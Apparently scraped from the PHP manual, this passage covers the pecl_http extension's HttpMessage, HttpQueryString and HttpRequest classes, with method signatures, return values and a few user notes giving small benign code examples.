Returns the header value on success or NULL if the header does not exist.

User Contributed Notes

There are no user contributed notes for this page.


Get message headers

  • « HttpMessage::getHeader
  • HttpMessage::getHttpVersion »
  • PHP Manual
  • HttpMessage
  • Get message headers

HttpMessage::getHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::getHeaders — Get message headers

Description

public array HttpMessage::getHeaders ( void )

Get message headers.

Return Values

Returns an associative array containing the messages HTTP headers.

User Contributed Notes

There are no user contributed notes for this page.


Get HTTP version

  • « HttpMessage::getHeaders
  • HttpMessage::getParentMessage »
  • PHP Manual
  • HttpMessage
  • Get HTTP version

HttpMessage::getHttpVersion

(PECL pecl_http >= 0.10.0)

HttpMessage::getHttpVersion — Get HTTP version

Description

public string HttpMessage::getHttpVersion ( void )

Get the HTTP Protocol Version of the Message.

Return Values

Returns the HTTP protocol version as string.

User Contributed Notes

There are no user contributed notes for this page.


Get parent message

  • « HttpMessage::getHttpVersion
  • HttpMessage::getRequestMethod »
  • PHP Manual
  • HttpMessage
  • Get parent message

HttpMessage::getParentMessage

(PECL pecl_http >= 0.10.0)

HttpMessage::getParentMessage — Get parent message

Description

public HttpMessage HttpMessage::getParentMessage ( void )

Get parent Message.

Return Values

Returns the parent HttpMessage object.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Get request method

  • « HttpMessage::getParentMessage
  • HttpMessage::getRequestUrl »
  • PHP Manual
  • HttpMessage
  • Get request method

HttpMessage::getRequestMethod

(PECL pecl_http >= 0.10.0)

HttpMessage::getRequestMethod — Get request method

Description

public string HttpMessage::getRequestMethod ( void )

Get the Request Method of the Message.

Return Values

Returns the request method name on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST.

User Contributed Notes

There are no user contributed notes for this page.


Get request URL

  • « HttpMessage::getRequestMethod
  • HttpMessage::getResponseCode »
  • PHP Manual
  • HttpMessage
  • Get request URL

HttpMessage::getRequestUrl

(PECL pecl_http >= 0.21.0)

HttpMessage::getRequestUrl — Get request URL

Description

public string HttpMessage::getRequestUrl ( void )

Get the Request URL of the Message.

Parameters

Return Values

Returns the request URL as string on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST.

User Contributed Notes

There are no user contributed notes for this page.


Get response code

  • « HttpMessage::getRequestUrl
  • HttpMessage::getResponseStatus »
  • PHP Manual
  • HttpMessage
  • Get response code

HttpMessage::getResponseCode

(PECL pecl_http >= 0.10.0)

HttpMessage::getResponseCode — Get response code

Description

public int HttpMessage::getResponseCode ( void )

Get the Response Code of the Message.

Return Values

Returns the HTTP response code if the message is of type HttpMessage::TYPE_RESPONSE, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Get response status

  • « HttpMessage::getResponseCode
  • HttpMessage::getType »
  • PHP Manual
  • HttpMessage
  • Get response status

HttpMessage::getResponseStatus

(PECL pecl_http >= 0.23.0)

HttpMessage::getResponseStatus — Get response status

Description

public string HttpMessage::getResponseStatus ( void )

Get the Response Status of the message (i.e. the string following the response code).

Return Values

Returns the HTTP response status string if the message is of type HttpMessage::TYPE_RESPONSE, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Get message type

  • « HttpMessage::getResponseStatus
  • HttpMessage::guessContentType »
  • PHP Manual
  • HttpMessage
  • Get message type

HttpMessage::getType

(PECL pecl_http >= 0.10.0)

HttpMessage::getType — Get message type

Description

public int HttpMessage::getType ( void )

Get Message Type. Either HTTP_MSG_NONE, HTTP_MSG_REQUEST or HTTP_MSG_RESPONSE.

Return Values

Returns the HttpMessage::TYPE.

User Contributed Notes

There are no user contributed notes for this page.


Guess content type

  • « HttpMessage::getType
  • HttpMessage::prepend »
  • PHP Manual
  • HttpMessage
  • Guess content type

HttpMessage::guessContentType

(PECL pecl_http >= 1.0.0)

HttpMessage::guessContentType — Guess content type

Description

public string HttpMessage::guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )

Attempts to guess the content type of the message body through libmagic.

Parameters

magic_file

the magic.mime database to use

magic_mode

flags for libmagic

Return Values

Returns the guessed content type on success or FALSE on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpInvalidParamException.

User Contributed Notes

There are no user contributed notes for this page.


Prepend message(s)

  • « HttpMessage::guessContentType
  • HttpMessage::reverse »
  • PHP Manual
  • HttpMessage
  • Prepend message(s)

HttpMessage::prepend

(PECL pecl_http >= 0.22.0)

HttpMessage::prepend — Prepend message(s)

Description

public void HttpMessage::prepend ( HttpMessage $message [, bool $top = true ] )

Prepends message(s) to the HTTP message.

Parameters

message

HttpMessage object to prepend

top

whether to prepend to the top most or right this message

Errors/Exceptions

Throws HttpInvalidParamException if the message is located within the same message chain.

User Contributed Notes

There are no user contributed notes for this page.


Reverse message chain

  • « HttpMessage::prepend
  • HttpMessage::send »
  • PHP Manual
  • HttpMessage
  • Reverse message chain

HttpMessage::reverse

(PECL pecl_http >= 0.23.0)

HttpMessage::reverse — Reverse message chain

Description

public HttpMessage HttpMessage::reverse ( void )

Reorders the message chain in reverse order.

Return Values

Returns the most parent HttpMessage object.

User Contributed Notes

There are no user contributed notes for this page.


Send message

  • « HttpMessage::reverse
  • HttpMessage::setBody »
  • PHP Manual
  • HttpMessage
  • Send message

HttpMessage::send

(PECL pecl_http >= 0.10.0)

HttpMessage::send — Send message

Description

public bool HttpMessage::send ( void )

Send the Message according to its type as Response or Request.

This provides limited functionality compared to HttpRequest and HttpResponse.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set message body

  • « HttpMessage::send
  • HttpMessage::setHeaders »
  • PHP Manual
  • HttpMessage
  • Set message body

HttpMessage::setBody

(PECL pecl_http >= 0.14.0)

HttpMessage::setBody — Set message body

Description

public void HttpMessage::setBody ( string $body )

Set the body of the HttpMessage.

Note:

Don't forget to update any headers accordingly.

Parameters

body

the new body of the message

User Contributed Notes

There are no user contributed notes for this page.


Set headers

  • « HttpMessage::setBody
  • HttpMessage::setHttpVersion »
  • PHP Manual
  • HttpMessage
  • Set headers

HttpMessage::setHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::setHeaders — Set headers

Description

public void HttpMessage::setHeaders ( array $headers )

Sets new headers.

Parameters

headers

associative array containing the new HTTP headers, which will replace all previous HTTP headers of the message

User Contributed Notes

There are no user contributed notes for this page.


Set HTTP version

  • « HttpMessage::setHeaders
  • HttpMessage::setRequestMethod »
  • PHP Manual
  • HttpMessage
  • Set HTTP version

HttpMessage::setHttpVersion

(PECL pecl_http >= 0.10.0)

HttpMessage::setHttpVersion — Set HTTP version

Description

public bool HttpMessage::setHttpVersion ( string $version )

Set the HTTP Protocol version of the Message.

Parameters

version

the HTTP protocol version

Return Values

Returns TRUE on success, or FALSE if supplied version is out of range (1.0/1.1).

User Contributed Notes

There are no user contributed notes for this page.


Set request method

  • « HttpMessage::setHttpVersion
  • HttpMessage::setRequestUrl »
  • PHP Manual
  • HttpMessage
  • Set request method

HttpMessage::setRequestMethod

(PECL pecl_http >= 0.10.0)

HttpMessage::setRequestMethod — Set request method

Description

public bool HttpMessage::setRequestMethod ( string $method )

Set the Request Method of the HTTP Message.

Parameters

method

the request method name

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST or an invalid request method was supplied.

User Contributed Notes

There are no user contributed notes for this page.


Set request URL

  • « HttpMessage::setRequestMethod
  • HttpMessage::setResponseCode »
  • PHP Manual
  • HttpMessage
  • Set request URL

HttpMessage::setRequestUrl

(PECL pecl_http >= 0.21.0)

HttpMessage::setRequestUrl — Set request URL

Description

public bool HttpMessage::setRequestUrl ( string $url )

Set the Request URL of the HTTP Message.

Parameters

url

the request URL

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST or supplied URL was empty.

User Contributed Notes

There are no user contributed notes for this page.


Set response code

  • « HttpMessage::setRequestUrl
  • HttpMessage::setResponseStatus »
  • PHP Manual
  • HttpMessage
  • Set response code

HttpMessage::setResponseCode

(PECL pecl_http >= 0.10.0)

HttpMessage::setResponseCode — Set response code

Description

public bool HttpMessage::setResponseCode ( int $code )

Set the response code of an HTTP Response Message.

Parameters

code

HTTP response code

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_RESPONSE or the response code is out of range (100-510).

User Contributed Notes

There are no user contributed notes for this page.


Set response status

  • « HttpMessage::setResponseCode
  • HttpMessage::setType »
  • PHP Manual
  • HttpMessage
  • Set response status

HttpMessage::setResponseStatus

(PECL pecl_http >= 0.23.0)

HttpMessage::setResponseStatus — Set response status

Description

public bool HttpMessage::setResponseStatus ( string $status )

Set the Response Status of the HTTP message (i.e. the string following the response code).

Parameters

status

the response status text

Return Values

Returns TRUE on success or FALSE if the message is not of type HttpMessage::TYPE_RESPONSE.

User Contributed Notes

There are no user contributed notes for this page.


Set message type

  • « HttpMessage::setResponseStatus
  • HttpMessage::toMessageTypeObject »
  • PHP Manual
  • HttpMessage
  • Set message type

HttpMessage::setType

(PECL pecl_http >= 0.10.0)

HttpMessage::setType — Set message type

Description

public void HttpMessage::setType ( int $type )

Set Message Type. Either HTTP_MSG_NONE, HTTP_MSG_REQUEST or HTTP_MSG_RESPONSE.

Parameters

type

the HttpMessage::TYPE_*

User Contributed Notes

There are no user contributed notes for this page.


Create HTTP object regarding message type

  • « HttpMessage::setType
  • HttpMessage::toString »
  • PHP Manual
  • HttpMessage
  • Create HTTP object regarding message type

HttpMessage::toMessageTypeObject

(PECL pecl_http >= 0.22.0)

HttpMessage::toMessageTypeObject — Create HTTP object regarding message type

Description

public HttpRequest|HttpResponse HttpMessage::toMessageTypeObject ( void )

Creates an object regarding to the type of the message.

Parameters

Return Values

Returns either an HttpRequest or HttpResponse object on success, or NULL on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpMessageTypeException, HttpHeaderException.

User Contributed Notes

There are no user contributed notes for this page.


Get string representation

  • « HttpMessage::toMessageTypeObject
  • HttpQueryString »
  • PHP Manual
  • HttpMessage
  • Get string representation

HttpMessage::toString

(PECL pecl_http >= 0.10.0)

HttpMessage::toString — Get string representation

Description

public string HttpMessage::toString ([ bool $include_parent = false ] )

Get the string representation of the Message.

Parameters

include_parent

specifies whether the returned string should also contain any parent messages

Return Values

Returns the message as string.

User Contributed Notes

There are no user contributed notes for this page.


The HttpQueryString class

(PECL pecl_http >= 0.22.0)

Class synopsis

HttpQueryString implements ArrayAccess , Serializable {
final public __construct ([ bool $global = true [, mixed $add ]] )
public mixed get ([ string $key [, mixed $type = 0 [, mixed $defval = NULL [, bool $delete = false ]]]] )
public HttpQueryString mod ( mixed $params )
public string set ( mixed $params )
static public HttpQueryString singleton ([ bool $global = true ] )
public array toArray ( void )
public string toString ( void )
public bool xlate ( string $ie , string $oe )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
private | array | queryArray | query parameters
private | string | queryString | serialized query parameters
Static Properties
Modifiers | Type | Name | Description
private | array | instance | holds singletons

Predefined Constants

Type | Name | Description
int | TYPE_BOOL | retrieve query param as bool
int | TYPE_INT | retrieve query param as int
int | TYPE_FLOAT | retrieve query param as float
int | TYPE_STRING | retrieve query param as string
int | TYPE_ARRAY | retrieve query param as array
int | TYPE_OBJECT | retrieve query param as object

Table of Contents

  • HttpQueryString::__construct — HttpQueryString constructor
  • HttpQueryString::get — Get the query string or a part thereof
  • HttpQueryString::mod — Modifiy query string copy
  • HttpQueryString::set — Set query string params
  • HttpQueryString::singleton — HttpQueryString singleton
  • HttpQueryString::toArray — Get query string as array
  • HttpQueryString::toString — Get query string
  • HttpQueryString::xlate — Change query strings charset

User Contributed Notes

Anonymous 26-Oct-2010 03:20
This may sound obvious but just a reminder: this object only works with parameters submitted via GET method. Variables submitted via POST will not be parsed by this object.


HttpQueryString constructor

  • « HttpQueryString
  • HttpQueryString::get »
  • PHP Manual
  • HttpQueryString
  • HttpQueryString constructor

HttpQueryString::__construct

(PECL pecl_http >= 0.22.0)

HttpQueryString::__construct — HttpQueryString constructor

Description

final public HttpQueryString::__construct ([ bool $global = true [, mixed $add ]] )

Creates a new HttpQueryString object instance.

Operates on and modifies $_GET and $_SERVER['QUERY_STRING'] if global is TRUE.

Parameters

global

whether to operate on $_GET and $_SERVER['QUERY_STRING']

add

additional/initial query string parameters

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

michal dot kocarek at brainbox dot cz 11-Jun-2009 04:19
Note about first argument when calling the constructor:
– if true, instance will have initially exactly same query string as PHP received when user accessed the page
– if false, instance will be empty.

<?php
// Imagine that user puts "test.php?name=JamesBond&age=30" into browser, then…

$query = new HttpQueryString(); // query is "name=JamesBond&age=30". (First argument is true by default.)
$query = new HttpQueryString(false); // query is empty
$query = new HttpQueryString(true, 'age=31'); // query is "name=JamesBond&age=31", name was preserved, age was updated
$query = new HttpQueryString(false, 'age=31'); // query is "age=31"
?>

Second argument can be string and associative array, same as for HttpQueryString->set() method.


Get the query string or a part thereof

  • « HttpQueryString::__construct
  • HttpQueryString::mod »
  • PHP Manual
  • HttpQueryString
  • Get the query string or a part thereof

HttpQueryString::get

(PECL pecl_http >= 0.22.0)

HttpQueryString::get — Get the query string or a part thereof

Description

public mixed HttpQueryString::get ([ string $key [, mixed $type = 0 [, mixed $defval = NULL [, bool $delete = false ]]]] )

Get the query string or a part thereof

Parameters

key

Key of the query string parameter to retrieve

type

Variable type to enforce for the returned value

Either one of the HttpQueryString::TYPE_* constants or a type abbreviation - "b" for bool, "i" for int, "f" for float, "s" for string, "a" for array and "o" for a stdClass object.

defval

Default value if key does not exist

delete

Whether to remove key from the query string

Return Values

Returns the value of the query string param or the whole query string if key was not specified. Returns defval if the specified key does not exist.

User Contributed Notes

There are no user contributed notes for this page.


Modifiy query string copy

  • « HttpQueryString::get
  • HttpQueryString::set »
  • PHP Manual
  • HttpQueryString
  • Modifiy query string copy

HttpQueryString::mod

(PECL pecl_http >= 1.1.0)

HttpQueryString::mod — Modifiy query string copy

Description

public HttpQueryString HttpQueryString::mod ( mixed $params )

Copies the query string object and sets provided params at the clone.

Parameters

params

query string params to add

Return Values

Returns a new HttpQueryString object

User Contributed Notes

There are no user contributed notes for this page.


Set query string params

  • « HttpQueryString::mod
  • HttpQueryString::singleton »
  • PHP Manual
  • HttpQueryString
  • Set query string params

HttpQueryString::set

(PECL pecl_http >= 0.22.0)

HttpQueryString::set — Set query string params

Description

public string HttpQueryString::set ( mixed $params )

Set query string entry/entries. NULL values will unset the variable.

Parameters

params

query string params to add

Return Values

Returns the current query string.

User Contributed Notes

michal dot kocarek at brainbox dot cz 11-Jun-2009 03:55
Function accepts string or associative array in the params argument.

<?php
   $query = new HttpQueryString(false); // query is empty

   $query->set(array('city' => 'Prague', 'age' => 34)); // query is "city=Prague&age=34"
   $query->set('age=20&gender=male'); // query is "city=Prague&age=20&gender=male"
?>

Also please note that variable can be unset *only* by passing NULL value in an associative array.

<?php
$query->set('city='); // query is "city=&age=20&gender=male"
   $query->set(array('city' => null)); // and now "age=20&gender=male" ?>
jerome at rainstormconsulting dot com 04-Feb-2008 05:09
In case anybody reads this and wonders what the params should be, it takes a key=>value array, not sure why it says mixed, or if there's other types you can give it.

<?php
$http = new HttpQueryString();
$http->set(array('page' => 1, 'sort' => 'asc'));
?>

Should produce a query string page?page=1&sort=asc


HttpQueryString singleton

  • « HttpQueryString::set
  • HttpQueryString::toArray »
  • PHP Manual
  • HttpQueryString
  • HttpQueryString singleton

HttpQueryString::singleton

(PECL pecl_http >= 0.25.0)

HttpQueryString::singleton — HttpQueryString singleton

Description

static public HttpQueryString HttpQueryString::singleton ([ bool $global = true ] )

Get a single instance (differentiates between the global setting).

Parameters

global

whether to operate on $_GET and $_SERVER['QUERY_STRING']

Return Values

Returns always the same HttpQueryString instance regarding the global setting.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Get query string as array

  • « HttpQueryString::singleton
  • HttpQueryString::toString »
  • PHP Manual
  • HttpQueryString
  • Get query string as array

HttpQueryString::toArray

(PECL pecl_http >= 0.22.0)

HttpQueryString::toArray — Get query string as array

Description

public array HttpQueryString::toArray ( void )

Get the query string represented as associative array.

Return Values

Returns the array representation of the query string.

User Contributed Notes

There are no user contributed notes for this page.


Get query string

  • « HttpQueryString::toArray
  • HttpQueryString::xlate »
  • PHP Manual
  • HttpQueryString
  • Get query string

HttpQueryString::toString

(PECL pecl_http >= 0.22.0)

HttpQueryString::toString — Get query string

Description

public string HttpQueryString::toString ( void )

Get the query string.

Parameters

Return Values

Returns the string representation of the query string.

User Contributed Notes

There are no user contributed notes for this page.


Change query strings charset

  • « HttpQueryString::toString
  • HttpRequest »
  • PHP Manual
  • HttpQueryString
  • Change query strings charset

HttpQueryString::xlate

(PECL pecl_http >= 0.25.0)

HttpQueryString::xlate — Change query strings charset

Description

public bool HttpQueryString::xlate ( string $ie , string $oe )

Converts the query string from the source encoding ie to the target encoding oe.

Warning

Don't use any character set that can contain NUL bytes like UTF-16.

Note:

This method requires ext/iconv to be enabled and loaded.

Parameters

ie

input encoding

oe

output encoding

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The HttpRequest

(PECL pecl_http 0.7.0)

Class synopsis

HttpRequest {
public bool addCookies ( array $cookies )
public bool addHeaders ( array $headers )
public bool addPostFields ( array $post_data )
public bool addPostFile ( string $name , string $file [, string $content_type = "application/x-octetstream" ] )
public bool addPutData ( string $put_data )
public bool addQueryData ( array $query_params )
public bool addRawPostData ( string $raw_post_data )
public bool addSslOptions ( array $options )
public void clearHistory ( void )
public __construct ([ string $url [, int $request_method = HTTP_METH_GET [, array $options ]]] )
public bool enableCookies ( void )
public string getContentType ( void )
public array getCookies ( void )
public array getHeaders ( void )
public HttpMessage getHistory ( void )
public int getMethod ( void )
public array getOptions ( void )
public array getPostFields ( void )
public array getPostFiles ( void )
public string getPutData ( void )
public string getPutFile ( void )
public string getQueryData ( void )
public string getRawPostData ( void )
public string getRawRequestMessage ( void )
public string getRawResponseMessage ( void )
public HttpMessage getRequestMessage ( void )
public string getResponseBody ( void )
public int getResponseCode ( void )
public array getResponseCookies ([ int $flags = 0 [, array $allowed_extras ]] )
public array getResponseData ( void )
public mixed getResponseHeader ([ string $name ] )
public mixed getResponseInfo ([ string $name ] )
public HttpMessage getResponseMessage ( void )
public string getResponseStatus ( void )
public array getSslOptions ( void )
public string getUrl ( void )
public bool resetCookies ([ bool $session_only = false ] )
public HttpMessage send ( void )
bool setBody ([ string $request_body_data ] )
public bool setContentType ( string $content_type )
public bool setCookies ([ array $cookies ] )
public bool setHeaders ([ array $headers ] )
public bool setMethod ( int $request_method )
public bool setOptions ([ array $options ] )
public bool setPostFields ( array $post_data )
public bool setPostFiles ( array $post_files )
public bool setPutData ([ string $put_data ] )
public bool setPutFile ([ string $file = "" ] )
public bool setQueryData ( mixed $query_data )
public bool setRawPostData ([ string $raw_post_data ] )
public bool setSslOptions ([ array $options ] )
public bool setUrl ( string $url )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
private | array | options | request options to configure the request; see request options
private array postFields form data:
array("fieldname" => "fieldvalue")
private array postFiles files to upload:
array(array("name" => "image", "file" => "/home/u/images/u.png", "type" => "image/png"))
private | array | responseInfo | information (statistical) about the request/response; see Request/response information
private | HttpMessage | responseMessage | the response message
private | integer | responseCode | the numerical response code
private | string | responseStatus | the literal response status text
private | integer | method | the request method to use
private | string | url | the request url
private | string | contentType | the content type to use for raw post requests
private | string | rawPostData | raw post data
private | string | queryData | query parameters
private | string | putFile | the file to upload with a PUT request
private | string | putData | raw data to upload with a PUT request
private | HttpMessage | history | the whole request/response history if history logging is enabled
public | boolean | recordHistory | whether to enable history logging

Predefined Constants

Type | Name | Description
integer | METH_GET | GET request method
integer | METH_HEAD | HEAD request method
integer | METH_POST | POST request method
integer | METH_PUT | PUT request method
integer | METH_DELETE | DELETE request method
integer | METH_OPTIONS | OPTIONS request method
integer | METH_TRACE | TRACE request method
integer | METH_CONNECT | CONNECT request method
integer | METH_PROPFIND | PROPFIND request method
integer | METH_PROPPATCH | PROPPATCH request method
integer | METH_MKCOL | MKCOL request method
integer | METH_COPY | COPY request method
integer | METH_MOVE | MOVE request method
integer | METH_LOCK | LOCK request method
integer | METH_UNLOCK | UNLOCK request method
integer | METH_VERSION_CONTROL | VERSION-CONTROL request method
integer | METH_REPORT | REPORT request method
integer | METH_CHECKOUT | CHECKOUT request method
integer | METH_CHECKIN | CHECKIN request method
integer | METH_UNCHECKOUT | UNCHECKOUT request method
integer | METH_MKWORKSPACE | MKWORKSPACE request method
integer | METH_UPDATE | UPDATE request method
integer | METH_LABEL | LABEL request method
integer | METH_MERGE | MERGE request method
integer | METH_BASELINE_CONTROL | BASELINE-CONTROL request method
integer | METH_MKACTIVITY | MKACTIVITY request method
integer | METH_ACL | ACL request method
integer | VERSION_1_0 | HTTP protocol version 1.0
integer | VERSION_1_1 | HTTP protocol version 1.1
integer | VERSION_ANY | any HTTP protocol version
integer | AUTH_BASIC | basic authentication
integer | AUTH_DIGEST | digest authentication
integer | AUTH_NTLM | NTLM authentication
integer | AUTH_GSSNEG | GSS negotiate authentication
integer | AUTH_ANY | any authentication
integer | PROXY_SOCKS4 | SOCKS v4 proxy
integer | PROXY_SOCKS5 | SOCKS v5 proxy
integer | PROXY_HTTP | HTTP proxy
integer | SSL_VERSION_TLSv1 | use TLS v1
integer | SSL_VERSION_SSLv2 | use SSL v2
integer | SSL_VERSION_SSLv3 | use SSL v3
integer | SSL_VERSION_ANY | use any SSL/TLS method
integer | IPRESOLVE_V4 | resolve via IPv4 only
integer | IPRESOLVE_V6 | resolve via IPv6 only
integer | IPRESOLVE_ANY | use any resolving methods

Table of Contents

  • HttpRequest::addCookies — Add cookies
  • HttpRequest::addHeaders — Add headers
  • HttpRequest::addPostFields — Add post fields
  • HttpRequest::addPostFile — Add post file
  • HttpRequest::addPutData — Add put data
  • HttpRequest::addQueryData — Add query data
  • HttpRequest::addRawPostData — Add raw post data
  • HttpRequest::addSslOptions — Add ssl options
  • HttpRequest::clearHistory — Clear history
  • HttpRequest::__construct — HttpRequest constructor
  • HttpRequest::enableCookies — Enable cookies
  • HttpRequest::getContentType — Get content type
  • HttpRequest::getCookies — Get cookies
  • HttpRequest::getHeaders — Get headers
  • HttpRequest::getHistory — Get history
  • HttpRequest::getMethod — Get method
  • HttpRequest::getOptions — Get options
  • HttpRequest::getPostFields — Get post fields
  • HttpRequest::getPostFiles — Get post files
  • HttpRequest::getPutData — Get put data
  • HttpRequest::getPutFile — Get put file
  • HttpRequest::getQueryData — Get query data
  • HttpRequest::getRawPostData — Get raw post data
  • HttpRequest::getRawRequestMessage — Get raw request message
  • HttpRequest::getRawResponseMessage — Get raw response message
  • HttpRequest::getRequestMessage — Get request message
  • HttpRequest::getResponseBody — Get response body
  • HttpRequest::getResponseCode — Get response code
  • HttpRequest::getResponseCookies — Get response cookie(s)
  • HttpRequest::getResponseData — Get response data
  • HttpRequest::getResponseHeader — Get response header(s)
  • HttpRequest::getResponseInfo — Get response info
  • HttpRequest::getResponseMessage — Get response message
  • HttpRequest::getResponseStatus — Get response status
  • HttpRequest::getSslOptions — Get ssl options
  • HttpRequest::getUrl — Get url
  • HttpRequest::resetCookies — Reset cookies
  • HttpRequest::send — Send request
  • HttpRequest::setBody — Set request body to send, overwriting previously set request body.
  • HttpRequest::setContentType — Set content type
  • HttpRequest::setCookies — Set cookies
  • HttpRequest::setHeaders — Set headers
  • HttpRequest::setMethod — Set method
  • HttpRequest::setOptions — Set options
  • HttpRequest::setPostFields — Set post fields
  • HttpRequest::setPostFiles — Set post files
  • HttpRequest::setPutData — Set put data
  • HttpRequest::setPutFile — Set put file
  • HttpRequest::setQueryData — Set query data
  • HttpRequest::setRawPostData — Set raw post data
  • HttpRequest::setSslOptions — Set ssl options
  • HttpRequest::setUrl — Set URL

User Contributed Notes

ionathan at gmail dot com 09-Sep-2009 05:11
Note that HttpRequest sets different defaults than curl (which is the library used by HttpRequest behind the scenes). For example in curl the connecttimeout is 0 and in HttpRequest it is 3.
Also note that by default HttpRequest uses infinite persistent connections. That can be set in the ini file. Read the docs for more information.


Add cookies

  • « HttpRequest
  • HttpRequest::addHeaders »
  • PHP Manual
  • HttpRequest
  • Add cookies

HttpRequest::addCookies

(PECL pecl_http >= 0.10.0)

HttpRequest::addCookies — Add cookies

Description

public bool HttpRequest::addCookies ( array $cookies )

Add custom cookies.

Note: The request option encodecookies controls whether the cookie values should be urlencode()d.

Note: Affects any request method.

Parameters

cookies

an associative array containing any cookie name/value pairs to add

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A HttpRequest::addCookies() example

<?php
$r = new HttpRequest;
$r->addCookies(
    array(
        "cookie_name" => "cookie value",
    )
);
?>

See Also

  • HttpRequest::setCookies() - Set cookies

User Contributed Notes

There are no user contributed notes for this page.


Add headers

  • « HttpRequest::addCookies
  • HttpRequest::addPostFields »
  • PHP Manual
  • HttpRequest
  • Add headers

HttpRequest::addHeaders

(PECL pecl_http >= 0.10.0)

HttpRequest::addHeaders — Add headers

Description

public bool HttpRequest::addHeaders ( array $headers )

Add request header name/value pairs.

Parameters

headers

an associative array as parameter containing additional header name/value pairs

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

pal 04-Nov-2008 01:20
If like me you were wondering why your POST request is going out with the header 'Expect: 100-continue' set, it is being added by libcurl.

This can only be noticed when using HttpRequest::getRawRequestMessage() and not HttpRequest::getHeaders(), or of course tcpdump or similar.

To remove this header you can do the following;

$r->addHeaders(array('Expect' => ''));

Note this behaviour has also been reported in http://au.php.net/manual/en/function.curl-setopt.php#82418


Add post fields

  • « HttpRequest::addHeaders
  • HttpRequest::addPostFile »
  • PHP Manual
  • HttpRequest
  • Add post fields

HttpRequest::addPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::addPostFields — Add post fields

Description

public bool HttpRequest::addPostFields ( array $post_data )

Adds POST data entries, leaving previously set unchanged, unless a post entry with the same name already exists.

Affects only POST and custom requests.

Parameters

post_data

an associative array as parameter containing the post fields

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Add post file

  • « HttpRequest::addPostFields
  • HttpRequest::addPutData »
  • PHP Manual
  • HttpRequest
  • Add post file

HttpRequest::addPostFile

(PECL pecl_http >= 0.10.0)

HttpRequest::addPostFile — Add post file

Description

public bool HttpRequest::addPostFile ( string $name , string $file [, string $content_type = "application/x-octetstream" ] )

Add a file to the POST request, leaving previously set files unchanged.

Affects only POST and custom requests. Cannot be used with raw post data.

Parameters

name

the form element name

file

the path to the file

content_type

the content type of the file

Return Values

Returns TRUE on success, or FALSE if the content type seems not to contain a primary and a secondary content type part.

User Contributed Notes

There are no user contributed notes for this page.


Add put data

  • « HttpRequest::addPostFile
  • HttpRequest::addQueryData »
  • PHP Manual
  • HttpRequest
  • Add put data

HttpRequest::addPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::addPutData — Add put data

Description

public bool HttpRequest::addPutData ( string $put_data )

Add PUT data, leaving previously set PUT data unchanged.

Affects only PUT requests.

Parameters

put_data

the data to concatenate

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Add query data

  • « HttpRequest::addPutData
  • HttpRequest::addRawPostData »
  • PHP Manual
  • HttpRequest
  • Add query data

HttpRequest::addQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::addQueryData — Add query data

Description

public bool HttpRequest::addQueryData ( array $query_params )

Add parameters to the query parameter list, leaving previously set unchanged.

Affects any request type.

Parameters

query_params

an associative array as parameter containing the query fields to add

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 22-May-2009 03:52
Litte example :

/Tests/get.php :
========================
<?php
    header('Content-Type: text/plain') ;
    print_r($_GET) ;
?>
========================

/Tests/http.php :
========================
<?php
    header('Content-Type: text/plain') ;
    $request = new HttpRequest('http://127.0.0.1/Tests/get.php?foo=bar') ;
    $request->addQueryData(array('baz' => 'qux')) ;
    $response = new HttpMessage($request->send( )) ;
    echo $response->getBody( ) ;
?>
========================

Run /Test/http.php display :
========================
Array
(
    [foo] => bar
    [baz] => qux
)
========================

So HttpRequest::addQueryData( ) deals with hard-coded GET data and complete them.


Add raw post data

  • « HttpRequest::addQueryData
  • HttpRequest::addSslOptions »
  • PHP Manual
  • HttpRequest
  • Add raw post data

HttpRequest::addRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::addRawPostData — Add raw post data

Description

public bool HttpRequest::addRawPostData ( string $raw_post_data )

Add raw post data, leaving previously set raw post data unchanged.

Affects only POST and custom requests.

Parameters

raw_post_data

the raw post data to concatenate

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

mahdi at ghadamyari dot com 17-Jun-2011 11:02
<?php
$r = new HttpRequest;
$r->addRawPostData('name=myname&website=mysite&comment=mytext');
?>
Patrick Mackinlay 25-Jul-2009 05:26
In PECL::HTTP/1.6.3 (PHP/5.2.10) this does not work, it sets the raw put data. Use setRawPostData


Add ssl options

  • « HttpRequest::addRawPostData
  • HttpRequest::clearHistory »
  • PHP Manual
  • HttpRequest
  • Add ssl options

HttpRequest::addSslOptions

(PECL pecl_http >= 0.12.0)

HttpRequest::addSslOptions — Add ssl options

Description

public bool HttpRequest::addSslOptions ( array $options )

Set additional SSL options.

Parameters

options

an associative array as parameter containing additional SSL specific options

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Clear history

  • « HttpRequest::addSslOptions
  • HttpRequest::__construct »
  • PHP Manual
  • HttpRequest
  • Clear history

HttpRequest::clearHistory

